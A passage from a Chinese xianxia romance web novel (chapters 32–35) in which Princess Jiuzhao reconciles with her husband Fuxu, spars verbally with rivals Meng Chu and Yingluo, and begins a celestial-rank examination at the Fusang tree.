“你、你就是个大傻瓜!” 她扑过去,将扶胥压倒在雕花床栏上,“天底下最大的大傻瓜!” “臣自是傻瓜,否则也不会一直问不出口这个问题。” 扶胥扭头,躲开她第一次凑过来的软唇。 热烘烘的体温相贴,他眼底最后一抹端矜化去。 气度深严的上神在此刻倏忽变了副模样,这般反抗不得、我见犹怜,越发引起九昭的爱意。 她捧着他的脸,看了又看,嘴唇对着嘴唇,直直吻了下去:“离什么离……不离了!” 32| 第32章 ◎“等仙考结束,殿下欲知晓之事——”◎ 说是亲吻, 奈何九昭的吻技实在太差。 她的唇齿落下来,对着扶胥的两片薄唇又亲又咬。 那象征禁欲的浅淡色泽,经由九昭的染指, 悄然变成了沾了玫瑰花汁一样的红。 红色, 是九昭喜欢的颜色。 她将扶胥的变化看在眼里,血液更是沁出沸腾的情火。 无尾熊似地手脚并用,将他一点一点缠紧。 得到不再合离的保证,扶胥放下所有顾虑, 很快被吻得反客为主。 他揽住九昭腰身,长臂一展,将她整个嵌进怀里。 两人之间的体型差距, 使得他化为一座伟岸高山,尽数占据九昭的视线。 相较有过前任的九昭,扶胥真真正正称得上恋爱经验为零。 他仅仅仗着再难自制的爱欲,一点一点撬开一如九昭外表般坚硬的齿关。 ——不多时, 又因着亲吻的生涩粗鲁, 被感到疼痛的九昭重重咬了一口。 “你急什么, 像有人要抢你东西似的……” 九昭像是在发怒,可那嗔怒的语气末尾又流淌出遮掩不住的甜腻。 她下嘴力道不轻, 直把扶胥的唇角咬得破了个口子。 蕴含精纯之力的鲜血溢出, 九昭探出舌尖,将其一滴不剩喝净。 回味之后, 她感叹起话本里读到过的场面:“难怪芸生世那些凡人, 总要在书中写妖魔引诱修道者, 然后将他们拖入巢穴分食……扶胥上神的味道如此甘甜, 就连本殿, 唔, 也有些忍不住……” “殿下若高兴,一口接着一口,把臣吃下去也可以。” 扶胥用鼻尖磨蹭着九昭面孔,爱欲压倒理智占据脑海,他无比虔诚地发出一生所誓,“殿下是臣的妻子,更是臣的君主,臣的血肉、性命和忠诚,全都属于殿下。” 仿佛在偶然间挖掘了青年了不得的隐藏属性,九昭被这两句情话砸得头脑发懵。 她缓了几息,双手环住扶胥的脖颈:“好阿胥,原来你竟也这般会说甜言蜜语……” “不是甜言蜜语。” 扶胥纠正她,“是臣的肺腑之言。” 幔帐散落,衾被乱成一团。 两人缠在一起,褪去神仙高洁的外衣,此刻更近似冬日来临之际互相取暖的蛇。 九昭分不清哪寸肌肤是自己的,哪滴汗水是扶胥的,只明白了何为水融于水中。 她从扶胥的额发开始,一路抚摸过他锋利的眉,情动的眼,再到绷紧的下颌,最后气喘吁吁同他暂分:“还有最后一个问题,倘若你能明白告诉我,从今以后,我便再没什么忧心的。” 扶胥目光荡了荡,显然立刻意识到了九昭要问什么。 九昭却没给他第一时间回答自己的机会,她拉开扶胥略显松垮的衣襟,手指滑入中衣,接着贴在扶胥对应心脏位置的胸膛上:“五百年前,你也是这样日日陪伴着我,我那时想过彻底放下以前的事,一心一意同你在一起……所以,你当初为何成婚不到一月,就说也不说去了边境。” 扶胥自从归来后,一直在回避的问题,于这一刹那被九昭揭破——她爱也爱得明白,恨也要恨得清明,只活一世,绝不做那等凡事模棱两可的糊涂人。 她的手放在扶胥心脏上,双眼不放过扶胥的任何一个眼神变化,杜绝了他编织谎言的可能。 相视几息,扶胥缓缓启唇:“我们成婚前夕,焚业海就隐隐有些不太平,后来情势愈演愈烈,兰祁更亲自率兵击毁了一处神魔交境处的哨塔。实在无法拖延,我才不得不离开。” 扶胥的话,在九昭骤然得到他奔赴边境的消息,而怒火中烧砸烂寝殿的一切摆设时,神帝曾亲自驾临告知过她——那时神帝还提醒九昭,应当以战事为重,暂且放低儿女私情。 真相如今再从抛下她的始作俑者嘴里被证实,九昭只觉并无半点释怀之感。 她盯着扶胥的双眼不放,再次追问:“……仅仅是因为这样吗?” 扶胥陷入沉默。 这一回,他终究没有转移话题或是侧开眼睛,安静片刻,继续道:“其实还有另外一点。” “是什么?” 九昭问得不动声色,唯有陷进扶胥胸口肌肤带来刺痛的手指,昭示着她内心的不平静。 奇怪的是,明明应该做出解答的人是扶胥。 可在九昭话音未落的一刹那,她却看到了扶胥眼底的失意和不解。 …… 他为什么失意? 又在不解什么? 九昭无从得知当年另一件事的实情,也无从得知这一刻呈现这种情绪的扶胥的内心。 彼此无言良久后,扶胥轻声询问:“殿下说过,不与臣合离,对吗?” 九昭想也不想颔首:“嗯,但你要告诉我,那件事是什么才行。” 扶胥阖了阖眼,仿佛终于对为难之事有了决定,又以商量的态度同她道:“夫妻本为一体,臣的事情自是不会隐瞒殿下——只不过,如今仙考在即,此事关乎多方期许,殿下切不可分神。 “等仙考结束,殿下欲知晓之事,臣愿意全部一五一十解释给殿下听,这样可好?” 答应了,又似乎没答应。 九昭不太满意,拧着眉毛看了会儿他:“你不会是在拖延时间吧?到时候可不许骗我。” 扶胥郑重点头:“臣说过,以后再不隐瞒殿下任何。” 九昭这才勉强被捋顺了凤凰毛。 她明灭的眸光落在扶胥面孔和身躯上,显出内心的怀疑和不定。 扶胥沉住气,放任她审视,只一双红意未褪的眼睛显出令人心安的诚恳平静。 瞧不出真假,无可奈何的九昭索性将目光转移到彼此交叠的姿势,和身旁散乱的衾被上。 床笫间谈正事,这正事也很难不跑偏。 九昭心中思忖,既现下无法释怀往昔,不如借个由头,从其他方面得到些许爽利。 她的瞳珠滴溜溜地打转,而多出几分露骨的打量,又叫扶胥睑下的红浓墨重彩起来。 “你前头还说,要把一切都献给本殿。”九昭拖长音调,再度逼近扶胥,“本殿就想知道个往事,你尚且如此拖拖拉拉,本殿为此心中很不痛快,便打算惩罚你,你服不服气?” 扶胥垂眸四顾。 九昭洁白的手臂还牢牢缠着自己颈项,她说的惩罚到底有几分正经可想而知。 不过。 他亏欠她在前,若这样做能让她高兴,也不是不可以…… 扶胥抿着下唇,把心一横:“臣悉听殿下天令。” 九昭的念头稍一打转,自己的脸先红了起来,她凑到扶胥耳边,极快极轻地说出一句话。 “殿、殿下,您——” 扶胥的俊面立即显出赧然欲死的神情。 他还害羞—— 只要闭上眼动动舌头就好了。 该露出这么大反应的人明明应该是她才对! 九昭的眼睛含着水,乜起来半瞪他:“你肯不肯?” “……” 扶胥表情变了又变,变了又变。 短短的片刻内,九昭竟看出了两军交战,将帅做出重大决策的视死如归。 她正要说些什么,却见他俯下头颅,撩起她的裙摆,钻了进去。 * 三月之期已到。 九昭恩获释放的第二日,便是公布报考众仙名单的重要日子。 九昭决定参加仙考的时日颇晚,名字便出现在张贴天榜的最末尾。 这个位置微妙又显眼,不出所料地激起了前来浏览天榜的考生们的重重议论。 “九昭殿下也要参考,这事真的假的?” “天榜从来不会出错,况且九昭殿下晋至金仙的时日已久,想要升阶也很正常。” “这回仙考有九昭殿下参加,恐怕未来避嫌,扶胥上神就不能再担任主考官了吧?” “谁知道呢。” “我看,是因为这一届滢罗宗姬最有把握夺得魁首,九昭殿下才来的吧……谁都知道争身考试不计手段,不论生死,就算赢不了,给滢罗宗姬点颜色看看,很像是殿下会做出来的事。” “哈,我觉得也是,总不能是九昭殿下真的想上进了。” “咳咳,快别说了,殿下来了——” 甫一瞧见属于九昭的赤红身影,穿过结界踏入祈辰宫,交头接耳的众仙立刻停止议论声。 他们低敛眉眼,自觉让开一条道路,就着恭顺的姿态作揖到底:“臣见过神姬殿下。” 九昭依旧一身夺人眼球的红裙,半仰着头,负手穿过人群。 不论位阶高低,她通通没有打招呼的意思。 虽说这关在离恨天的日子,和扶胥柔情蜜意不算太委屈,可九昭到底最爱面子,今日因神帝有事宣召,扶胥没办法陪伴前来,九昭只好做出一副若无其事的模样,独身来到此处。 这些人聚在一起,聊得火热,不用听她也知道,准在讨论自己的是非。 他们非要撞到枪口上,九昭自然不介意略施惩戒。 她不紧不慢地走着,短短十来丈的路程,硬是走了半炷香的时间。 弯腰作揖这等姿势本就费力,而且碍于规矩还不得乱动。 九昭随意地打量着,很快看见有人坚持不住,躬着的身形晃了晃。 要是扶胥这会儿在自己身边,肯定又要劝诫储君应当宽容大度。 这样想着,九昭唇边施展恶作剧成功时才会露出的畅快笑意,下意识多了几分温柔。 才一会儿没见,她对他的唠叨古板,竟也有了些许思念。 …… 不在天榜上摁下手印,便无法激活考试身份。 立完规矩,九昭站在天榜前,享受着身后众仙投来的敢怒不敢言的视线。 左手食指按在白纸黑字上,一道对应为火属性的仙光亮起,她的名讳也随之变得火红。 确认无误,总算大功告成。 九昭这才转身,两掌一拍,如梦初醒似地演起拙劣戏码:“哎呀,都怪本殿,一门心思只记得仙阶考试,居然忘记了诸位还在行礼未曾起来—— “都平身吧。” 33| 第33章 ◎“怎么,你还敢堵本殿的嘴?”◎ 九昭让众仙平身。 大家听令放下作揖双手, 却是谁也不敢胡乱行动,依旧分成两排,老实站在原地。 及至九昭转身出殿, 他们才如释重负地松懈下来, 陆续上前,完成激活天榜名讳的事宜。 …… 激活天榜,仅是备考的第一步。 实际上,进了祈辰宫后, 众考生不再被允准随意进出。 再过一刻,时至巳正,与外界相连的结界将会彻底关闭。 迟行或未到者被视为失去仙考资格。 清点完认输, 主考官现身告知备考期间的注意事项,接着为每一位考生分配住处——安全起见,直到明日卯半的考试前,大家都只能在自己的院落里活动修行, 做最后的准备。 抓住仅剩的自由, 九昭驻步于游廊下, 隔着围栏欣赏远处在云间穿梭的灵鸟。 鸟啼婉转,歌声清脆, 用来打发辰光也不算太无聊。 九昭正指敲节拍, 信口哼些不成调的小曲,一道讨人厌的声音在几丈外响起。 “臣孟楚, 给神姬殿下请安。” 走在领头的青年收起折扇, 长揖到底给九昭行了个标准的问安礼, 他身边簇拥着的几个北境贵族男女也倾身行礼——这回礼节态度倒是分毫不错, 只是九昭不知他为何还敢来招惹自己。 “何事?” 九昭侧首望向孟楚, 神容冷淡。 游廊之外靠近正殿的方向, 摁完手印的考生三五成群走出。 他们被九昭这头吸引,且听说过九昭和孟楚间的过节,纷纷露出欲探知八卦的隐晦眼神。 状似无意靠近游廊的人多了些,孟楚这才抬起俯落的面孔。 经过三个月的恢复治疗,他一扫当初倒在大殿上,被北神王耳光扇得鬼哭狼嚎的窘迫之相。 行动间灵活自如,端的一副翩翩世子的潇洒做派,仿佛身心所受重创皆已好全。只左眼处的淡粉鞭疤存在感强烈,竖穿上下眼皮,破坏了他看似随和儒雅的气质。 九昭知晓,这几个月里,神帝前后派人送了不少上好的丹药给孟楚。南神王炼制的仙药,哪怕快死的人都能拉回来让他喘口气,更何况只是解决区区一道伤疤。 孟楚刻意留着这条疤痕,显然有其他用处。 九昭暗自警惕起来,孟楚则注视着她的神情再度和气拱手:“那日神王邸中,是臣不好,冒犯了殿下,如今殿下获释归来,臣在这里向殿下二度请罪,还盼殿下能够原谅臣的过失。” 这是哪一出? 想在众人面前以自己的谦卑,来衬托她这位神姬的蛮不讲理? 九昭摸不透这葫芦里卖的什么药,又听见他意味深长地补充道,“殿下打算参加仙考,其实何至于此,遣仙官知会臣一声,臣这等闲人散漫惯了,可考可不考的,提前退出就是。” 什么何至于此,什么提前知会臣? 这跟神王邸内的事情有什么关系? 孟楚的声音不大不小,正好让周围的旁观者都能听到。 眼见大部分人竖起耳朵,好奇意味深重,他对着九昭,语气愈发谦卑起来:“殿下赏的那一顿鞭子,让臣在床上躺了两月堪堪能够落地,直到现在也不曾痊愈——殿下放心,臣是绝对不敢同您争夺些什么的,只是九尾狐族的祖训有言,不可做‘不战而屈人之兵’。” 那句“不敢同您争夺”的言语既出,九昭终于明白孟楚的险恶用心。 果然,他还是拒绝承认背地里以兰祁和神后冒犯她的错失,非要扭曲事实到她得知他也要参加仙考,心生嫉妒,为了排除竞争对手,所以故意鞭打他到重伤难以起身的份上。 怒意如火星溅石,几乎一瞬间就要迸发开来。 九昭反手握拳,想也不想就要再放出打神鞭来揍他一顿。 可弹指间,扶胥隐含期盼的面孔在眼前浮现。 他们约定好了,待到完成仙阶考试,就解开彼此间的最后一点心结。 今日自己若在祈辰宫大动干戈,不提会造成何等严重的后果,考试资格首当其冲,定会被取消——孟楚说这些有的没的屁话,定是想好了自身晋位无望,打算来拖她下水。 她才不上当! 九昭冷静下来,似笑非笑回击:“看来不只是本殿的一顿鞭子教导不好世子,就连北神王跪在殿上一壁请罪,一壁亲手惩戒也不能叫你认识到错误。不过,孟楚,本殿还是劝你一句,争身之前尚有验心,都说人的心魔越重,幻境考核就越难抽身——你须要善自珍重才行。” 设下了万全的陷阱,她居然不上当。 孟楚忍不住咬紧牙根。 随着九昭的一计转移重点,其他人也好奇上了其究竟犯下何错,才会被北神王当众惩戒。 “你——” 面子上过不去,人也下不来台,孟楚的笑颜消失,面色扭曲一瞬,意欲继续反击,游廊尽处的人群里却有一人越众而出,启唇唤了声他的名字:“兄长,原来你在这里,可让我好找。” 数月未见,祝晏依旧是秾丽脸孔,清淡衣衫。 两厢的极致反差,越发衬得他风华天成,令人见之难忘。 他的到来让不服气的孟楚猛地止住话头,目光活像打哈欠的时候不小心咽了只苍蝇。 “臣见过神姬殿下。” 虽为孟楚而来,祝晏仍不忘礼仪。他作揖被九昭抬手示意免礼,两人擦肩而过时,九昭发觉他后背还绑了个巨大的行李包袱,上面印有孟楚的世子徽。 “巳正将至,我等不参加仙考之人还得提早离开。 “走吧兄长,今晨出发时,父王叮嘱我有事要同你交代几句。” 好吧。 听到“父王”,咽下去的一只苍蝇变成了两只。 孟楚恶狠狠地斜了他一眼,视线回到九昭身上,变幻了几瞬,终是不情不愿拂袖告退。 …… 好戏上演到一半就退场,听不到八卦的考生们也失去了围在游廊旁的兴趣。 第一次克制住自己的脾气,尝试以理服人而非以力服人,这体验着实有些新奇。再加上回忆里残留的,那张孟楚憋成猪肝色的脸,九昭简直快要大笑出声。 她抿嘴偷乐了会儿,借此逐渐领悟到,遇见事情,采用不计后果的方式反击固然酣畅,但沉下心来,仔细思考对策,争取让敌人气到吐血,自己则不用付出半点代价好像更痛快。 她出神地默默复盘着自己刚才和孟楚的对话,肩膀冷不丁被人拍了一下。 “殿下。” 打个激灵,见是去而复返的祝晏,九昭嗔怪地丢了个白眼:“无声无息的,吓本殿一跳!” “臣不是故意的,请殿下见谅。” 祝晏勾起个致歉的笑容,犯规的美貌消弭了九昭最后一点不满。 她说道:“你的话倒挺管用,孟楚竟然真的乖乖跟你走了。” 祝晏无奈:“哪里是臣的话管用,是父王担心兄长再闹出乱子,叮嘱臣看顾兄长而已。” 九昭啧啧两声:“从来都是兄长看顾弟妹,到你们北境,却变成了年纪最长的最能惹事。有时本殿也不知北神王是怎么想的,孟楚除了占着个嫡长身份,其他有哪点可堪担负世子之任?” 祝晏依旧不卑不亢:“兄长年岁尚轻,得父王细心交代几年,总归会变好的。” “你没听说一句话叫‘江山易改本性难移’吗?孟楚那般平庸又容不得人的性格,除非你们这些兄弟姐妹如同仆从般趋奉在侧,且天赋不及他远矣,否则日子只会比现在更加难过。” 九昭颇为不以为然,绕开身子瞧了瞧他背后,见那巨大的包袱不再,若有所思道,“据本殿所知,你在三万岁时通过仙考,晋了金仙位阶,此后却再也没有参加过天仙考试—— “想来,是因为孟楚尚未升至天仙,所以见不得你表现比他更加出色?” 九昭的一番推测有理有据,纵使祝晏表现得恭顺,也实难替孟楚尽数遮掩。 他缄默不言的姿态引来九昭笃定的结论:“依本殿看,你就比孟楚合适做世子许多。” 祝晏却严肃起来:“臣请殿下慎言,万一被外人听见就不好了。” “?” 分明上回还能顶着压力,在众目睽睽之下站出来道明真相,怎么这次突然变得这么无趣? 九昭心底的小人一撇嘴,瞧着他的眼神多了点凉意:“怎么,你还敢堵本殿的嘴?” “臣不敢。” 翡翠般凝丽的瞳孔抬起回望,任凭九昭目光锐利地逡巡。 祝晏的面容坦然清正,语调亦是十二万分的诚恳,“臣一人尚不足惜,只是殿下身处储君高位,时常有人在旁审视窥探,臣担忧殿下为臣打抱不平之言论,会令殿下再度置身险境中去。” 他的话,叫九昭一时间驳不出口。 说他傻,他能够在手段酷烈的北神王妃手下存活至今。 说他不傻,他又为了帮她,亦或者什么正义公理之类的无用东西,得罪了手握权力的孟楚。 他和九昭遇到过的人都不一样,用哪几个词汇来形容都不够恰如其分。 陡然间,她生出几分将他一层一层剥开,曝露不见天日内里的兴趣。 不过念头仅仅转了一转,很快又被九昭压了下去。 她已同扶胥和好,如今满心满眼都是扶胥,又怎会做出剥开别的男人内心这种暧昧之举。 收起越过边界的思绪,九昭重新将目光放在欣赏和探究之间:“你这样为本殿着想,本殿也愿意承你的情——本殿说过,他日若北境无法供你一展心中抱负,本殿的离恨天随时欢迎你。” 34| 第34章 ◎“好啊,那臣等着殿下赐教。”◎ 九昭话音未落, 祈辰宫顶悬挂的巨大浅银色罄钟咚咚作响—— 钟声宣告着巳正时分的来临,亦通知徘徊在殿内的各位无关人士速速离去。 向正殿走去的考生和朝结界口撤退的仆从下属们,形成泾渭分明的楚河汉界。唯独象征着不同身份的两人, 仍负手站在游廊之下, 一个仿佛在酝酿,一个好似在等候。 几息过去,人已走了七七八八。 祝晏还是没有回应九昭的邀请,他狭长的青蓝双眼被檐廊阴霾一照, 生生切割出两重边缘模糊的界线,明处的神容依旧光风霁月,暗处则突兀多出几分难言的阴鸷。 九昭意欲弄清那点阴鸷源于何处, 青年的身体却率先动作起来。他调转脚步,做出离开的架势,而后再一拱手真心实意道:“如此,下臣告退, 愿殿下在仙考中旗开得胜, 顺利升阶。” 不回答, 许多时候相当于拒绝。 两度被对方扯开话题,九昭反倒难得的没有生气。 她回之一笑, 那笑容明媚亮烈, 自有一股属于女君的从容气度:“本殿尽量。” …… 考虑到九昭和扶胥的关系,此次天仙考试的主考官换成了嶷山上神。 他踩着准点立在祈辰宫的主位前方, 两旁是维持秩序、辅助旁事的佐考仙官。 考生们于台下站定, 横五排, 竖六列, 面貌不同, 有长有少, 均端出一副肃穆态度。 九昭是倒数几个进来的,前排没了她的位次,她亦并不计较这些,安静待在人群末尾——进了这里,没有官职,不论出身,大家的统一身份便是天仙位阶的竞争者。 嶷山沉静的眼神扫过阶下,无声对应着天榜上激活的考生名单,准备确认完毕进行下一步。 那种泰山崩塌不改神情的气度,又令九昭无端想起扶胥。 说起来,这么多年,她从未见过扶胥投身公事时是什么样子。 前几天主仆闲聊,绛玉还双手捧脸,发着花痴同她讲,认真的男人最迷人——九昭打定主意改天选个日子,去瞧一瞧属于扶胥的最迷人时刻。 “殿下,您别走神了,刚刚嶷山上神在看您呢。” 密声入耳,娇俏的少女音提醒着九昭从旖旎思绪中抽离。她循着密声释放的来源,见挨着自己右手的考生是南陵崇瑶宗姬,对方两颊梨涡浅漾,对她勾起一抹和善笑意。 九昭也对她笑了笑。 殿上同步响起嶷山上神宣读祈辰宫备考条例的声音。 男声澹澹,犹如投石入内不成波澜的深潭,九昭听着听着不可避免地继续走神——那没有完全聚焦的余光游弋着,倏忽捕捉到人群的打头第一排,滢罗和孟楚竟然并肩站在一起。 滢罗姿容绝世,清丽脱俗。 孟楚只要不犯浑,也称得上面容风流的美男子。 自后望去,二者相视莞尔,颇像一对郎才女貌的璧人。 ……这站位,他们什么时候搅到一处去了? 还是仅仅出于巧合? 不喜欢的人凑到一起,越看越碍眼,莫不是正在商量考试之际如何算计自己。 九昭以最大恶意揣测着他们,心却反而涌起几分陌生的不适感。 她紧盯两人不放,想看看滢罗要对孟楚微笑到何时。 这故态复萌的第二次走神,没那么幸运再得到重瑶的提醒。嶷山上神磁性的嗓音读完备考日的最后一项条例,稍稍停顿,转而唤出她的名字:“金仙九昭——” “金仙九昭——” 那唤名声中杂糅一丝神力,震得开小差的九昭耳膜嗡嗡作响。 她难受地掏了掏耳朵,立刻抬头看向上方。 “我刚才所说的注意事项,你都记住了吗?” 立在高位的英俊上神不冷不热问道。 九昭立刻点头如捣蒜。 听是半点都没听到的,好在来之前朱映翻来覆去同她说了好几遍,大致规则早印在脑海中。 嶷山不吭声看了她几息。 那眼神虽没有情绪外露,但九昭从中捕捉到几分怀疑。 不会要叫自己当场现背吧? 九昭的心提了起来,大脑高速运转回忆起朱映的话语。 出乎她的意料,嶷山上神没多为难什么,很快选择揭过此事,转头冲左右两位佐考仙官吩咐道:“我这里事已毕,你们且按照男女,带领他们前往仙考前的休憩场所。” …… 行于窄长廊道里片刻,前方的考生纷纷进入房舍,九昭才分得自己的一隅住处。 整座祈辰宫环绕着清神大阵,帮助考生们在考前排空杂念,发挥更佳的水准。 甫一进入,九昭的心不自觉安静下来。她拧着眉峰,努力遗忘眼前挥之不去的滢罗孟楚并肩画面,如此入定一炷香的时间,总算沉入修行的境界中去。 神志再一回笼,将近傍晚用膳时分。 考生们不必出去寻找膳厅,自有仙奴敲门挨个送饭。 被困在这没有娱乐的一方天地里,结束修行的九昭颇有些百无聊赖,她伸了个懒腰,将注意力放在距床几丈外闭合的木门上,决定去连接房舍的庭院中走走,好借此松泛久坐的筋骨。 为了防止出现上届仙考的纰漏,考生们的住所和庭院都是独立封闭的。无论窗户还是分割庭院的栅栏,都设置了一层无形结界,可以话声交谈,但不可触碰彼此,更不可互相传递事物。 暮色四合,画似的晚霞衬着婆娑树影格外静谧。 九昭信步闲游一阵,万事万物都成了她打发辰光的消遣。 一只绚烂彩蝶打破静态的风景,自一朵半开的花苞翩飞至另一朵全然盛开的海棠。 九昭没有使用仙术,探手过去,想将其拢进掌心。 彩蝶意外的十分灵敏,它收起翅膀,从指缝间逃出。 九昭追逐,它躲闪,一仙一蝶转眼来到了庭院的结界处。 “看我这次不抓到你!” 沉下心来,看准机会,九昭再次闪电一般出手。 合拢的间隙,蝶翼扑闪过肌肤,带来轻微痒意。 下一刻,隔壁穿来踩断木枝的足音,九昭似有所感抬起头,撞进一片风和日丽的水蓝里。 “殿下。” 良辰、美景、佳人,天生便是一幅画。 九昭被对方绮丽的瞳色闪得错神,本该抓住的命定之蝶也脱出手掌,朝结界另一边飞去。 错失最后的时机,只能眼睁睁看着它逃出生天,九昭感到一阵气闷:“你怎么在我隔壁?” 滢罗也瞧见了那只逃离九昭掌心的蝴蝶,她目送它一路飞进有事物靠近就显形的仙术结界中去,过了会儿才九昭轻轻一眨眼:“能住在殿下隔壁,得殿下恩泽庇佑,臣很欢喜。” 白日里滢罗和自己讨厌的人站在一起的事,叫九昭看她格外不顺眼。 她听到这个如滢罗一般里外透着虚伪的回答,冷哼一声,拒绝交谈,便想转身离去。 “殿下等等。” 见九昭连闲谈几句的机会也不给自己,滢罗一下子想到了大约是她介意祈辰宫内自己曾和孟楚站到过一起。如此,也顾不得算不算热脸贴冷屁股太甚,她又一次出声挽留九昭。 九昭顿步,却没抬头,冷冷望着裹陷鞋履的苍翠草地:“宗姬有何贵干?” 作为一个很了解九昭的人,滢罗清楚这声名字都不唤的询问背后的真正含义。 于是,她抬头望了望结界如海波般轻微起伏的某处,决心从能让九昭情绪变好些的地方下手:“殿下,殿下瞧,您想要的那只蝴蝶还在原地等您。” “?” 九昭闻声挑起眼睛,沿着滢罗手指的方向,看见被仙光包裹起来的蝴蝶——结界排斥一切想要越界的人和事物,倘若陷入阻隔还不愿停止,就会自动释放力量将其裹缠起来,直到消停。 滢罗说得没错,刚才她追逐半晌的求而不得之物,眼下唾手可得。 她顺势将那小东西从仙光中解放出发,蝴蝶竟也有灵性,停立于她的指节不再试图逃离。 这或多或少叫九昭心情好了些,多了点耐心倾听。而不错过九昭任何变化的滢罗,立刻抓住机会解释:“臣同北神王世子,并非殿下想的那样,只是出于某些原因。” “你跟本殿说这些做什么?难道忘了你我早已不再是朋友?” 不提孟楚还好,一提到他,从几个时辰前就憋着股无名火的九昭,忍不住一边睨她一边挖苦道,“虽然本殿打从过去就清楚,交友广泛如滢罗宗姬,只要是示好的人皆来者不拒——却也不曾想,如孟楚那等头脑空空,败絮其中的草包,也能够成为宗姬殿下的往来之宾。” 对于九昭的话,滢罗先是被说得眼神黯淡,到后两句时,目光又透出几分微妙的舒展欢喜。 九昭不知她的欢喜是哪里来的。 事实上,她也不明白自己为何在见到他俩谈笑时,心底会如此介意。 这大概接近于闹掰后,看见对方挑选朋友的眼光越来越差,所随之而生的恨铁不成钢心情。 九昭结束讥讽,便蚌壳似地闭紧嘴,生等着被说到无地自容的滢罗提裙离开。 结果左等右等,等来滢罗越发柔和的语声:“殿下误会滢罗了,这等对殿下不敬的无礼之人,臣怎屑与他为伍——同他交谈,不过是因为今日在等候主考官到来时,臣偶然听见了他和身边几个同伴的私语,内容涉及殿下,臣未曾全然听清,便打算佯装交好,看看能否套出话来。” 她会那么好心? 九昭反问:“那你套出什么来了?” 滢罗摇摇头:“嶷山上神来得太快,臣尚未来得及问到要紧处,只知道他们聚在角落里,口中不仅提到了殿下的名字,还压低声音交头接耳了许久,大概率不安好心。” 九昭终于扬起下巴乜向她:“什么都没有,还敢在我这里表忠心——” “臣所言并非表忠心,只是想提醒殿下,考试时千万小心孟楚。” 向前一步,滢罗单手抓紧竖在两人中间的栅栏,关切之意流于言表,“不过请殿下放心,此次仙考有臣在侧,臣也会多多留意北境那边的动静,拼尽全力守护殿下安全。” “谁叫你多管闲事,就算你不说,本殿自然也会小心。” 九昭受不了算计过她的人,扭头又若无其事再来靠近自己,滢罗令人看不透的热切在前,以及上次在扶胥的引导下,自身成功转偏的思绪使然,直叫九昭觉得滢罗又在酝酿什么坏主意。 她磨着牙尖捏起拳头,朝滢罗的方向示威似地举了举:“你到底要本殿说几次?我们已经不是朋友,在即将到来的仙考里更是竞争对手——莫说孟楚,你以为本殿会对你手下留情?” 九昭张牙舞爪,连声恐吓,直欲以浩大的声势来盖过内心深处,对于滢罗的一点复杂感情。 滢罗却对她充满期待地微笑起来:“好啊,那臣等着殿下赐教。” 35| 第35章 ◎“破幻守真,方为验心。”◎ 第二天卯正的日出之时, 便是天仙考核的开启之际。 迎着破晓的万丈霞光,九昭被祈辰宫再度响声大振的罄钟吵醒。 神仙少梦,昨夜祝晏和滢罗却轮番闯入她的梦境。 梦里还是房舍外的院落, 她同滢罗隔着结界交谈, 而悬停指节的彩蝶,倏忽化作光束横亘在两人之间,逐渐拓宽拉长,于虚空处凝结出祝晏清雅的双眸和含笑的薄唇。 他不再敬称九昭为殿下, 颀长身躯盖住她的影子,衣袖下的双臂拢住她的肩膀。 一如她收拢蝴蝶于掌心,祝晏也将她牢牢困在臂弯。 他一时唤她“昭昭”, 又一时变□□侣间的痴语“卿卿”。 九昭意志清醒,想要将他推开,手脚却被来自西海的水系仙术侵入肌理,水流舔/舐素白肌肤, 融入奔流的血液, 它们将她变作提线的僵硬偶人, 任由祝晏亲昵摆弄,俯身唇齿相依。 “永远待在我身边不好吗?” 容颜冠绝的青年低垂睫羽, 柔情万种地询问她。 不等九昭回答, 另有一双操控水元素的手掌自后方拥来,那双手的主人一边温声唤她神姬殿下, 一边以不容拒绝的力度捏着她的下巴, 迫使她转过头去。 无比熟悉的双手, 无比熟悉的声音。 转过去, 是无比熟悉的面孔, 以充斥着黏腻情/欲和爱意的目光注视她。 竟是滢罗。 是变换性别后, 拥有男性棱角的滢罗。 …… 九昭猛地睁开眼睛。 胸膛仍在上下起伏,她以最快速度翻身坐起,穿戴好衣物,给自己施了个基础的清洁术。 如此手忙脚乱跑到祈辰宫正殿外,她又变成了排在最后的一个,且是最引人瞩目的那个。 嶷山上神还是没多说什么,只不过暂留的目光移开时,九昭恍惚听见他叹了口气。 “卯正到,天仙考核正式开启!” 随着佐考仙官蕴有仙力的雄浑唱喝声响起,天边巨大日轮外斜飞起一排五光十色的鸾鸟。 它们四散分开,朝整个三清天宣告这三千年一度的重大盛事。 祈辰宫停滞的结界重新启动,嶷山上神抬手在缓慢旋转的金光阵纹上写下一字,被神力修改作用的结界倏忽不断扩张,金光如游蛇般蔓延到每位考生脚下,将他们一一吞噬。 复一眨眼,空地上再无任何人的踪影。 作为贯彻天地的神树,扶桑木周围设下了重重屏障禁制,唯有仙考开启时才被允许进入。 九昭上次来到这里,还是在她与兰祁举行婚礼前的成人仪式上。 光阴荏苒,千年已逝。 九昭不再是那个不知愁苦为何物的少女神姬,可扶桑木依然星霜不改,葳蕤葱茏。 堪比一座宫殿见宽的树身放眼望不到顶,与其称它为树,更像是一座层层高拔的通天巨塔。 嶷山上神领着考生们飞近神木,随即宣读仙考守则。 在一众金仙侧耳倾听的关头,两位佐考仙官双手掐诀,朝左右扔出两面巴掌大小的光镜。 光镜应声碎裂,化作八块不规则碎片,而后成倍扩大,直至光芒退散,镜中映出人景。 这是仙器移步镜,只要注入一点仙力催动,就能按照使用者意愿,分裂出无数记录当下场景的媒介,稳定地同步转达声画——神帝不便带领众仙齐聚扶桑木周围观试,便借助此仙器。 整场仙考,除了夺得魁首的考生能够晋升天仙以外,表现出众者也有可能被神帝破格提拔。 “破幻守真,方为验心。 “唯有面对三千诱惑而不改其志,才可在仙修之道上走得长远。” 嶷山上神威严的神音涤荡在场者各异的心绪,阵阵颤鸣中,契合考生数量的八重莲座在他的身后呈合环之状升起,围绕扶桑木悬浮高空,那便是第一项考核的正式场地。 “以一炷香的时辰为期,顺利突破幻境者皆可进入争身考核!” 他的话语落下,数十莲座上方彩光大盛,照耀半边广阔天宇,有细长光束倾泻到对应的考生上空,弹指之间,巨大的重瓣莲花分别出现在他们脚下,载托着他们朝各自的莲座飞去。 九昭亦被一莲花抬起,迅速上升。 有细微的风声在她耳边破开。 她的脑海反复回荡着昨夜做梦的画面碎片。 心脏在最不该的时刻鼓胀跳动着,迫不得已,九昭开始默默总结起刚才的考试守则。 验心有时间限制,争身部分却没有。 两项考试互相贯彻,从幻境中挣脱的优胜者即可开始攀登扶桑神木,无需等到所有在一炷香期限内完成考试的考生同步开始——这就意味着,越早结束验心试炼,越能掌握超前优势。 最高等天仙的选拔,所求的是心志仙术皆出众的人才。 